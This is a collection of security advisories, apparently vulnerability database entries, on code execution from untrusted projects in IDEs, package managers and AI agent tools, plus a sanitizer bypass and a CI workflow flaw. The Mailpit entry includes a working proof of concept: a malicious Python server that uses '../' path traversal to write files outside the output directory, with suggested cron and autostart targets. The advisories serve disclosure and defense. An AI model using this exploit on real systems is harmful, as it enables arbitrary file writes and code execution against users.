The Cortex MCP server (`neuro-cortex-memory`), a cross-platform persistent memory MCP, prior to version 3.17.1 treats the `CLAUDE_PROJECT_DIR` environment variable — automatically set by Claude Code to the currently open project directory — as a trusted Cortex developer checkout. When the `open_visualization` tool is invoked, `_find_dev_source()` resolves the user's active project directory as a candidate Cortex source root. The only validation performed by `_is_cortex_root()` is a check for the presence of an `mcp_server/` subdirectory and a `ui/unified-viz.html` file. An attacker who places these two marker files in a malicious repository can cause Cortex to execute an arbitrary `mcp_server/server/visualize_bootstrap.py` from that directory via `subprocess.run([sys.executable, ...])`, achieving code execution with the privileges of the victim's local user process. Version 3.17.1 fixes the issue.
In Eclipse Theia versions up to and including 1.69.0, opening a folder starts source control integration without requiring the user to trust the folder first. This affects applications built on Theia that include the git integration, such as the Theia IDE. Both Theia's own `@theia/git` extension and the builtin VS Code `git` extension run git commands such as `git status` as soon as a repository is detected. Since git honors repository-local configuration, a folder containing an attacker-controlled `.git/config` with `core.fsmonitor` (or a comparable hook-like setting) causes the configured command to be executed. The configuration can be delivered by burying a bare repository inside a regular repository (OVE-20210718-0001), so cloning an attacker-supplied repository and opening it in a Theia-based application is sufficient to execute arbitrary commands with the privileges of the user, without any confirmation prompt.
As of 1.70.0, plugins that declare `capabilities.untrustedWorkspaces.supported: false`, which includes the builtin git extension, are no longer loaded or activated in an untrusted workspace, and the deprecated `@theia/git` extension has been removed, so no git command is executed against an untrusted folder.
Inclusion of functionality from untrusted control sphere in Visual Studio Code - Python extension allows an unauthorized attacker to bypass a security feature locally.
Inclusion of Functionality from Untrusted Control Sphere vulnerability in the HTML5 scrubber in rrrene html_sanitize_ex allows a remote attacker to load a document of their choosing into a trusted page via the data attribute of an <object> element in sanitized HTML. object is the one URI-bearing element in lib/html_sanitize_ex/scrubber/html5.ex never registered through allow_tag_with_uri_attributes/3, and its only guard is a prefix match on lowercase "javascript:", so mixed-case variants, data: URIs, protocol-relative URLs and same-origin paths all survive.
This is not unconditional cross-site scripting. A javascript: URL does not execute through <object data> in current browsers, data: documents load in an opaque origin, and host-origin script execution additionally requires the application to serve attacker-controlled content from a same-origin path.
This issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.3.
PraisonAI versions 3.9.26 through 4.6.57 and praisonaiagents versions 0.12.12 through 1.6.57 contain a code injection vulnerability in the workflow "include" feature. The vulnerability arises because the _execute_include() function imports and executes an included recipe's tools.py file without enforcing security gates or using a safe loader. This allows arbitrary Python code execution if an attacker can cause a workflow to include an untrusted local recipe. The issue is fixed in versions 4.6.58 and 1.6.58 respectively.
CVE-2026-66902 is a critical OS command injection vulnerability in Google::Auth for Perl versions before 0.06. The vulnerability arises because the Pluggable subclass executes a command specified in an external_account credentials JSON file without proper validation or gating. This command is run via a system call that passes the entire string to the shell, allowing arbitrary command execution with the privileges of the application process. The vulnerability is reachable through the standard Application Default Credentials flow when the configuration includes credential_source.executable. No patch or official remediation guidance is currently available.
PDM, a Python package and dependency manager, versions up to and including 2.26.9 automatically load project-local plugins from a .pdm-plugins directory during initialization. This behavior allows an attacker-controlled file in an untrusted repository checkout to execute arbitrary Python code before any command is parsed. The vulnerability arises because the load_plugins() function runs during Core.init() and adds .pdm-plugins via site.addsitedir(), which processes .pth files and executes import lines immediately. This code execution occurs with the privileges of the user running pdm, affecting even benign commands like pdm --version. The issue is fixed in version 2.27.0.
CVE-2026-65908 is a high-severity vulnerability in JetBrains PyCharm that allows arbitrary code execution via a malicious Python executable when opening an untrusted project. This affects versions before 2026.1.4 and certain 2026.2 versions. The vulnerability is related to CWE-829, which involves inclusion of functionality from untrusted control spheres. The CVSS score is 8.6, indicating a significant risk. No official patch or remediation guidance is currently provided by the vendor. Exploits in the wild are not known at this time.
A high-severity vulnerability (CWE-829) exists in JetBrains IntelliJ IDEA before version 2026.2 that allows arbitrary code execution prior to granting project trust when using development container configuration. This vulnerability requires local access and user interaction but can lead to full confidentiality, integrity, and availability compromise. No official patch or remediation guidance has been confirmed yet.
A high-severity vulnerability (CWE-829) in JetBrains PhpStorm before version 2026.2 allows arbitrary code execution prior to granting project trust via the configured interpreter. This means that an attacker could execute code without user authorization in affected versions. The vulnerability has a CVSS score of 8.4, indicating significant impact on confidentiality, integrity, and availability.
A high-severity vulnerability (CWE-829) exists in JetBrains PhpStorm before version 2026.2 that allows arbitrary code execution before the user grants project trust via project tooling. This vulnerability enables an attacker to execute code without user interaction or privileges. No patch or official remediation information is currently provided by the vendor.
A vulnerability (CWE-829) in JetBrains WebStorm before version 2026.2 allows arbitrary code execution via a project-supplied linter configuration. This issue has a high severity with a CVSS score of 7.8. The vulnerability requires local access with user interaction and can lead to full confidentiality, integrity, and availability compromise. No official patch or remediation guidance has been confirmed yet.
A high-severity vulnerability (CWE-829) in JetBrains WebStorm before version 2026.2 allows arbitrary code execution via the configured Node.js interpreter before project trust is granted. This issue affects local attack vectors without user interaction and impacts confidentiality, integrity, and availability. No official patch or remediation guidance has been provided yet.
CVE-2026-64805 is a high-severity vulnerability in JetBrains WebStorm before version 2026.2 that allows arbitrary code execution via project-local package-manager tooling before the user grants project trust. This vulnerability is classified under CWE-829, which involves inclusion of functionality from untrusted control spheres. The CVSS 3.1 base score is 8.4, indicating a high impact on confidentiality, integrity, and availability. No official patch or remediation information is currently provided by the vendor. There are no known exploits in the wild at this time.
JetBrains WebStorm versions before 2026.2 contain a vulnerability (CWE-829) that allows arbitrary code execution before a project is granted trust via project-local linter tooling. This vulnerability has a high severity with a CVSS score of 8.4. No specific affected versions or patches are currently provided by the vendor.
PraisonAI is a multi-agent teams system. The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate to the tool_override.py sinks. However, two additional spec.loader.exec_module call sites in praisonai/agents_generator.py were missed and remain completely unguarded in versions prior to 4.6.40. Both functions accept a module_path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate. Version 4.6.40 fixes the issue.
### Summary
The mailpit dump --http <base-url> <out-dir> sub-command downloads every message from a remote Mailpit instance and writes each one as <id>.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes .. segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory.
### Details
Anyone who can convince a user to run mailpit dump --http <attacker-url> <dir> (typosquat, phishing tutorial, MITM of a plain-http:// Mailpit, or a compromised internal Mailpit they back up regularly) obtains an arbitrary file write primitive as the dumping user. Realistic post-exploitation includes overwriting init/cron files, shell startup files, CI artifact upload targets, web roots, etc. — anything the dumping user can write to, with attacker-controlled file bytes and a .eml filename suffix.
### Affected code
[internal/dump/dump.go](https://github.com/axllent/mailpit/blob/develop/internal/dump/dump.go#L118-L155):
path.Join("/safe/out/dir", "../../../../etc/cron.d/payload.eml") resolves to /etc/cron.d/payload.eml — the .. segments are normalized, not rejected. The remote server controls both m.ID (path) and the body of /api/v1/message/<id>/raw (contents). There is no filepath.Rel(outDir, out) containment check, no allow-list on m.ID characters, and no body-size cap.
The underlying cause is that the command was added to back up a trusted Mailpit, but the trust model on the wire never gets validated — the operator only supplies a URL.
### PoC
1. Run a malicious "Mailpit" server that returns one message whose ID contains .. segments:
```python
# evil-mailpit.py
import http.server, json
class Evil(http.server.BaseHTTPRequestHandler):
def do_GET(self):
if "/api/v1/messages" in self.path:
resp = {
"total": 1, "unread": 0, "count": 1,
"messages_count": 1, "messages_unread": 0,
"start": 0, "tags": [],
"messages": [{
"ID": "../../../../tmp/mailpit-pwn", # ← traversal
"MessageID": "x", "Read": False,
"From": {"Name": "", "Address": "a@b"},
"To": [{"Name": "", "Address": "c@d"}],
"Cc": None, "Bcc": None, "ReplyTo": [],
"Subject": "evil",
"Created": "2026-01-01T00:00:00Z",
"Tags": [], "Size": 5,
"Attachments": 0, "Snippet": ""
}]
}
body = json.dumps(resp).encode()
ctype = "application/json"
elif "/raw" in self.path:
body = b"PWNED BY MAILPIT DUMP TRAVERSAL\n"
ctype = "text/plain"
else:
self.send_response(404); self.end_headers(); return
self.send_response(200)
self.send_header("Content-Type", ctype)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
http.server.HTTPServer(("127.0.0.1", 19090), Evil).serve_forever()
```
```
$ python3 evil-mailpit.py &
$ mkdir -p /tmp/dump-out
$ mailpit dump --http http://127.0.0.1:19090/ /tmp/dump-out
```
2. Observe the file was written outside the requested output directory:
```
$ ls -la /tmp/dump-out/ /tmp/mailpit-pwn.eml
/tmp/dump-out/ ← empty
total 0
-rw-r--r-- 1 user user 31 May 11 16:16 /tmp/mailpit-pwn.eml
$ cat /tmp/mailpit-pwn.eml
PWNED BY MAILPIT DUMP TRAVERSAL
```
The same primitive trivially targets ~/.config/autostart/*.eml, ~/.bash_logout.eml (where it overwrites if symlinked), CI artifact dirs that ingest every file, or via long ../ chains any absolute path the user can write to.
### Impact
Arbitrary file write via path traversal in mailpit dump --http, allowing a malicious Mailpit-compatible server to force writes outside the intended output directory. This can lead to overwriting sensitive files (e.g. cron jobs, CI artifacts, shell configs) and potential code execution depending on write location and privileges.
Meshtastic is an open source mesh networking solution. Prior to version 2.7.21.1370b23, the Meshtastic GitHub repository's main_matrix.yml workflow is triggered by pull_request_target and multiple jobs check out the attacker's fork code and execute it with access to repository secrets and elevated GITHUB_TOKEN permissions. No approval gate exists. Pull requests from external users with author_association: "NONE" triggered the CI workflow automatically. The workflow directly executes attacker-controlled files from the fork checkout. This issue could have resulted in supply chain compromise, self-hosted runner compromise, and/or repository takeover for the repo. This issue is separate from GHSA-6mwm-v2vv-pp96, which addressed a command injection via github.head_ref in the setup job of the same workflow. That fix correctly moved to environment variables. However, the more critical fork checkout vulnerability across the check, build, and build-debian-src jobs was not addressed. Version 2.7.21.1370b23 contains a patch for thie issue.